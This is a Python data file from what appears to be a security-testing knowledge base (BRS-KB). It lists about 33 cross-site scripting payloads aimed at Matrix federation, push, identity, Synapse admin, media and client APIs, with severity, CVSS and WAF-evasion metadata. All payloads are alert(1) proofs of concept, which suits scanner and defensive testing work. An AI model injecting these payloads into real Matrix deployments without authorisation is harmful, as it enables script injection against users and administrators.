# Project: BRS-KB
# Company: EasyProTech LLC (www.easypro.tech)
# Dev: Brabus
# Date: 2025-12-26 UTC
# Status: Created
# Telegram: https://t.me/EasyProTech

"""
Matrix Enterprise XSS Payloads

Enterprise-level attack vectors for Matrix ecosystem.
Covers federation, server-side, push gateways, identity servers,
well-known configuration, and administrative interfaces.

Profile: matrix-enterprise
"""

from ..models import PayloadEntry


BRS_KB_MATRIX_ENTERPRISE_PAYLOADS = {
    # ============================================================
    # FEDERATION ATTACKS
    # ============================================================
    "matrix-fed-server-name": PayloadEntry(
        payload="origin_server_ts=1&sender=@user:<script>alert(1)</script>:8448",
        contexts=["url", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Matrix federation server name XSS",
        tags=["federation", "server", "sender"],
        bypasses=["federation_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="low",
        attack_surface="federation",
        spec_ref="Server-Server API / sender",
        known_affected=None,
        profile="matrix-enterprise",
    ),
    "matrix-fed-room-version": PayloadEntry(
        payload='{"room_version":"<script>alert(1)</script>"}',
        contexts=["json", "matrix"],
        severity="medium",
        cvss_score=6.5,
        description="Matrix federation room version XSS",
        tags=["federation", "room_version"],
        bypasses=["federation_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="low",
        attack_surface="federation",
        spec_ref="Server-Server API / room_version",
        known_affected=None,
        profile="matrix-enterprise",
    ),
    "matrix-fed-make-join": PayloadEntry(
        payload="/_matrix/federation/v1/make_join/!room:<script>alert(1)</script>/@user:server",
        contexts=["url", "matrix"],
        severity="high",
        cvss_score=7.5,
        description="Matrix federation make_join room ID XSS",
        tags=["federation", "make_join", "room_id"],
        bypasses=["federation_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="low",
        attack_surface="federation",
        spec_ref="Server-Server API / make_join",
        known_affected=None,
        profile="matrix-enterprise",
    ),
    "matrix-fed-event-auth": PayloadEntry(
        payload='{"auth_events":["$<script>alert(1)</script>"]}',
        contexts=["json", "matrix"],
        severity="medium",
        cvss_score=6.5,
        description="Matrix federation auth_events XSS",
        tags=["federation", "auth_events"],
        bypasses=["federation_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="low",
        attack_surface="federation",
        spec_ref="Server-Server API / auth_events",
        known_affected=None,
        profile="matrix-enterprise",
    ),
    # ============================================================
    # WELL-KNOWN CONFIGURATION
    # ============================================================
    "matrix-wellknown-homeserver": PayloadEntry(
        payload='{"m.homeserver":{"base_url":"javascript:alert(1)"}}',
        contexts=["json", "matrix"],
        severity="critical",
        cvss_score=9.5,
        description="Matrix .well-known homeserver URL XSS",
        tags=["well-known", "homeserver", "config"],
        bypasses=["config_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="low",
        attack_surface="server",
        spec_ref=".well-known / m.homeserver",
        known_affected=None,
        profile="matrix-enterprise",
    ),
    "matrix-wellknown-identity": PayloadEntry(
        payload='{"m.identity_server":{"base_url":"javascript:alert(1)"}}',
        contexts=["json", "matrix"],
        severity="critical",
        cvss_score=9.5,
        description="Matrix .well-known identity server URL XSS",
        tags=["well-known", "identity_server", "config"],
        bypasses=["config_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="low",
        attack_surface="server",
        spec_ref=".well-known / m.identity_server",
        known_affected=None,
        profile="matrix-enterprise",
    ),
    "matrix-wellknown-sliding-sync": PayloadEntry(
        payload='{"org.matrix.msc3575.proxy":{"url":"javascript:alert(1)"}}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=8.5,
        description="Matrix .well-known sliding sync proxy XSS",
        tags=["well-known", "sliding-sync", "proxy"],
        bypasses=["config_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="low",
        attack_surface="server",
        spec_ref="MSC3575 / sliding sync proxy",
        known_affected=None,
        profile="matrix-enterprise",
    ),
    # ============================================================
    # PUSH GATEWAY ATTACKS
    # ============================================================
    "matrix-push-notification-body": PayloadEntry(
        payload='{"notification":{"content":{"body":"<script>alert(1)</script>"},"room_name":"Room"}}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Matrix push notification body XSS",
        tags=["push", "notification", "body"],
        bypasses=["notification_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="push",
        spec_ref="Push Gateway API / notification",
        known_affected=None,
        profile="matrix-enterprise",
    ),
    "matrix-push-room-name": PayloadEntry(
        payload='{"notification":{"room_name":"<img src=x onerror=alert(1)>","content":{}}}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Matrix push notification room_name XSS",
        tags=["push", "notification", "room_name"],
        bypasses=["notification_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="push",
        spec_ref="Push Gateway API / room_name",
        known_affected=None,
        profile="matrix-enterprise",
    ),
    "matrix-push-sender-displayname": PayloadEntry(
        payload='{"notification":{"sender_display_name":"<svg onload=alert(1)>","content":{}}}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Matrix push notification sender_display_name XSS",
        tags=["push", "notification", "sender"],
        bypasses=["notification_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="push",
        spec_ref="Push Gateway API / sender_display_name",
        known_affected=None,
        profile="matrix-enterprise",
    ),
    "matrix-push-device-display-name": PayloadEntry(
        payload='{"notification":{"devices":[{"display_name":"<script>alert(1)</script>"}]}}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=7.5,
        description="Matrix push notification device display_name XSS",
        tags=["push", "notification", "device"],
        bypasses=["notification_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="push",
        spec_ref="Push Gateway API / device",
        known_affected=None,
        profile="matrix-enterprise",
    ),
    # ============================================================
    # IDENTITY SERVER ATTACKS
    # ============================================================
    "matrix-identity-displayname": PayloadEntry(
        payload='{"display_name":"<img src=x onerror=alert(1)>"}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Matrix identity server display_name XSS",
        tags=["identity", "displayname"],
        bypasses=["identity_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="server",
        spec_ref="Identity Service API / display_name",
        known_affected=None,
        profile="matrix-enterprise",
    ),
    "matrix-identity-email-invite": PayloadEntry(
        payload='{"display_name":"<script>alert(1)</script>","address":"user@example.com"}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Matrix identity email invite displayname XSS",
        tags=["identity", "email", "invite"],
        bypasses=["identity_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="server",
        spec_ref="Identity Service API / email invite",
        known_affected=None,
        profile="matrix-enterprise",
    ),
    # ============================================================
    # SERVER ADMIN API (Synapse)
    # ============================================================
    "matrix-synapse-admin-user": PayloadEntry(
        payload="/_synapse/admin/v2/users/@<script>alert(1)</script>:server",
        contexts=["url", "matrix"],
        severity="critical",
        cvss_score=9.0,
        description="Synapse admin API user ID XSS",
        tags=["synapse", "admin", "user"],
        bypasses=["admin_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="low",
        attack_surface="server",
        spec_ref="Synapse Admin API / users",
        known_affected=["synapse"],
        profile="matrix-enterprise",
    ),
    "matrix-synapse-admin-room": PayloadEntry(
        payload="/_synapse/admin/v1/rooms/!<img src=x onerror=alert(1)>:server",
        contexts=["url", "matrix"],
        severity="critical",
        cvss_score=9.0,
        description="Synapse admin API room ID XSS",
        tags=["synapse", "admin", "room"],
        bypasses=["admin_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="low",
        attack_surface="server",
        spec_ref="Synapse Admin API / rooms",
        known_affected=["synapse"],
        profile="matrix-enterprise",
    ),
    "matrix-synapse-admin-media": PayloadEntry(
        payload="/_synapse/admin/v1/media/<script>alert(1)</script>/statistics",
        contexts=["url", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Synapse admin API media server XSS",
        tags=["synapse", "admin", "media"],
        bypasses=["admin_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="low",
        attack_surface="server",
        spec_ref="Synapse Admin API / media",
        known_affected=["synapse"],
        profile="matrix-enterprise",
    ),
    # ============================================================
    # MEDIA REPOSITORY
    # ============================================================
    "matrix-media-preview-url": PayloadEntry(
        payload="/_matrix/media/v3/preview_url?url=javascript:alert(1)",
        contexts=["url", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Matrix media preview URL XSS",
        tags=["media", "preview", "url"],
        bypasses=["preview_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="server",
        spec_ref="Content Repository API / preview_url",
        known_affected=None,
        profile="matrix-enterprise",
    ),
    "matrix-media-download-filename": PayloadEntry(
        payload="/_matrix/media/v3/download/server/media_id/<script>alert(1)</script>.txt",
        contexts=["url", "matrix"],
        severity="high",
        cvss_score=7.5,
        description="Matrix media download filename XSS",
        tags=["media", "download", "filename"],
        bypasses=["filename_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="server",
        spec_ref="Content Repository API / download",
        known_affected=None,
        profile="matrix-enterprise",
    ),
    # ============================================================
    # APPLICATION SERVICES
    # ============================================================
    "matrix-appservice-sender-localpart": PayloadEntry(
        payload='{"sender_localpart":"<script>alert(1)</script>"}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=7.5,
        description="Matrix appservice sender_localpart XSS",
        tags=["appservice", "sender", "localpart"],
        bypasses=["appservice_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="low",
        attack_surface="server",
        spec_ref="Application Service API / sender_localpart",
        known_affected=None,
        profile="matrix-enterprise",
    ),
    "matrix-appservice-room-alias": PayloadEntry(
        payload='{"alias":"#<img src=x onerror=alert(1)>:server"}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=7.5,
        description="Matrix appservice room alias XSS",
        tags=["appservice", "room", "alias"],
        bypasses=["alias_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="low",
        attack_surface="server",
        spec_ref="Application Service API / aliases",
        known_affected=None,
        profile="matrix-enterprise",
    ),
    # ============================================================
    # DEVICE MANAGEMENT
    # ============================================================
    "matrix-device-display-name": PayloadEntry(
        payload='{"display_name":"<img src=x onerror=alert(1)>"}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Matrix device display_name XSS",
        tags=["device", "display_name"],
        bypasses=["device_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
        attack_surface="client",
        spec_ref="Client-Server API / devices",
        known_affected=None,
        profile="matrix-enterprise",
    ),
    # ============================================================
    # KEY MANAGEMENT
    # ============================================================
    "matrix-key-device-display-name": PayloadEntry(
        payload='{"device_display_name":"<script>alert(1)</script>"}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=7.5,
        description="Matrix key device display_name XSS",
        tags=["key", "device", "display_name"],
        bypasses=["key_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
        attack_surface="client",
        spec_ref="Client-Server API / keys",
        known_affected=None,
        profile="matrix-enterprise",
    ),
    # ============================================================
    # ROOM DIRECTORY
    # ============================================================
    "matrix-directory-room-name": PayloadEntry(
        payload='{"name":"<img src=x onerror=alert(1)>","topic":"topic","num_joined_members":1}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Matrix room directory name XSS",
        tags=["directory", "room", "name"],
        bypasses=["directory_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
        attack_surface="client",
        spec_ref="Client-Server API / publicRooms",
        known_affected=None,
        profile="matrix-enterprise",
    ),
    "matrix-directory-room-topic": PayloadEntry(
        payload='{"name":"Room","topic":"<script>alert(1)</script>","num_joined_members":1}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Matrix room directory topic XSS",
        tags=["directory", "room", "topic"],
        bypasses=["directory_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
        attack_surface="client",
        spec_ref="Client-Server API / publicRooms",
        known_affected=None,
        profile="matrix-enterprise",
    ),
    # ============================================================
    # PROFILE API
    # ============================================================
    "matrix-profile-displayname": PayloadEntry(
        payload='{"displayname":"<svg onload=alert(1)>"}',
        contexts=["json", "matrix"],
        severity="critical",
        cvss_score=9.0,
        description="Matrix profile displayname XSS",
        tags=["profile", "displayname"],
        bypasses=["profile_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
        attack_surface="client",
        spec_ref="Client-Server API / profile",
        known_affected=None,
        profile="matrix-enterprise",
    ),
    "matrix-profile-avatar-url": PayloadEntry(
        payload='{"avatar_url":"javascript:alert(1)"}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=7.5,
        description="Matrix profile avatar_url XSS",
        tags=["profile", "avatar"],
        bypasses=["url_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="low",
        attack_surface="client",
        spec_ref="Client-Server API / profile",
        known_affected=None,
        profile="matrix-enterprise",
    ),
    # ============================================================
    # SERVER NOTICES
    # ============================================================
    "matrix-server-notice": PayloadEntry(
        payload='{"type":"m.room.message","content":{"msgtype":"m.server_notice","body":"<script>alert(1)</script>"}}',
        contexts=["json", "matrix"],
        severity="critical",
        cvss_score=9.0,
        description="Matrix server notice body XSS",
        tags=["server_notice", "body"],
        bypasses=["notice_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
        attack_surface="server",
        spec_ref="m.server_notice",
        known_affected=None,
        profile="matrix-enterprise",
    ),
    # ============================================================
    # ACCOUNT DATA
    # ============================================================
    "matrix-account-data-key": PayloadEntry(
        payload="/_matrix/client/v3/user/@user:server/account_data/<script>alert(1)</script>",
        contexts=["url", "matrix"],
        severity="high",
        cvss_score=7.5,
        description="Matrix account data type XSS",
        tags=["account_data", "type"],
        bypasses=["account_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="low",
        attack_surface="client",
        spec_ref="Client-Server API / account_data",
        known_affected=None,
        profile="matrix-enterprise",
    ),
    # ============================================================
    # PRESENCE
    # ============================================================
    "matrix-presence-status-msg": PayloadEntry(
        payload='{"presence":"online","status_msg":"<img src=x onerror=alert(1)>"}',
        contexts=["json", "matrix"],
        severity="high",
        cvss_score=8.0,
        description="Matrix presence status_msg XSS",
        tags=["presence", "status_msg"],
        bypasses=["presence_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
        attack_surface="client",
        spec_ref="Client-Server API / presence",
        known_affected=None,
        profile="matrix-enterprise",
    ),
    # ============================================================
    # TYPING NOTIFICATIONS (edge case)
    # ============================================================
    "matrix-typing-user-id": PayloadEntry(
        payload='{"user_ids":["@<script>alert(1)</script>:server"]}',
        contexts=["json", "matrix"],
        severity="medium",
        cvss_score=6.5,
        description="Matrix typing notification user_id XSS",
        tags=["typing", "user_id"],
        bypasses=["typing_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="low",
        attack_surface="client",
        spec_ref="Client-Server API / typing",
        known_affected=None,
        profile="matrix-enterprise",
    ),
    # ============================================================
    # RECEIPTS (edge case)
    # ============================================================
    "matrix-receipt-event-id": PayloadEntry(
        payload='{"$<script>alert(1)</script>":{"m.read":{"@user:server":{}}}}',
        contexts=["json", "matrix"],
        severity="medium",
        cvss_score=6.5,
        description="Matrix receipt event_id XSS",
        tags=["receipt", "event_id"],
        bypasses=["receipt_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="low",
        attack_surface="client",
        spec_ref="Client-Server API / receipts",
        known_affected=None,
        profile="matrix-enterprise",
    ),
    # ============================================================
    # THIRD PARTY NETWORKS
    # ============================================================
    "matrix-thirdparty-protocol": PayloadEntry(
        payload='{"protocol":"<script>alert(1)</script>"}',
        contexts=["json", "matrix"],
        severity="medium",
        cvss_score=6.5,
        description="Matrix third party protocol XSS",
        tags=["thirdparty", "protocol"],
        bypasses=["thirdparty_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="low",
        attack_surface="server",
        spec_ref="Application Service API / thirdparty",
        known_affected=None,
        profile="matrix-enterprise",
    ),
}

BRS_KB_MATRIX_ENTERPRISE_TOTAL_PAYLOADS = len(BRS_KB_MATRIX_ENTERPRISE_PAYLOADS)
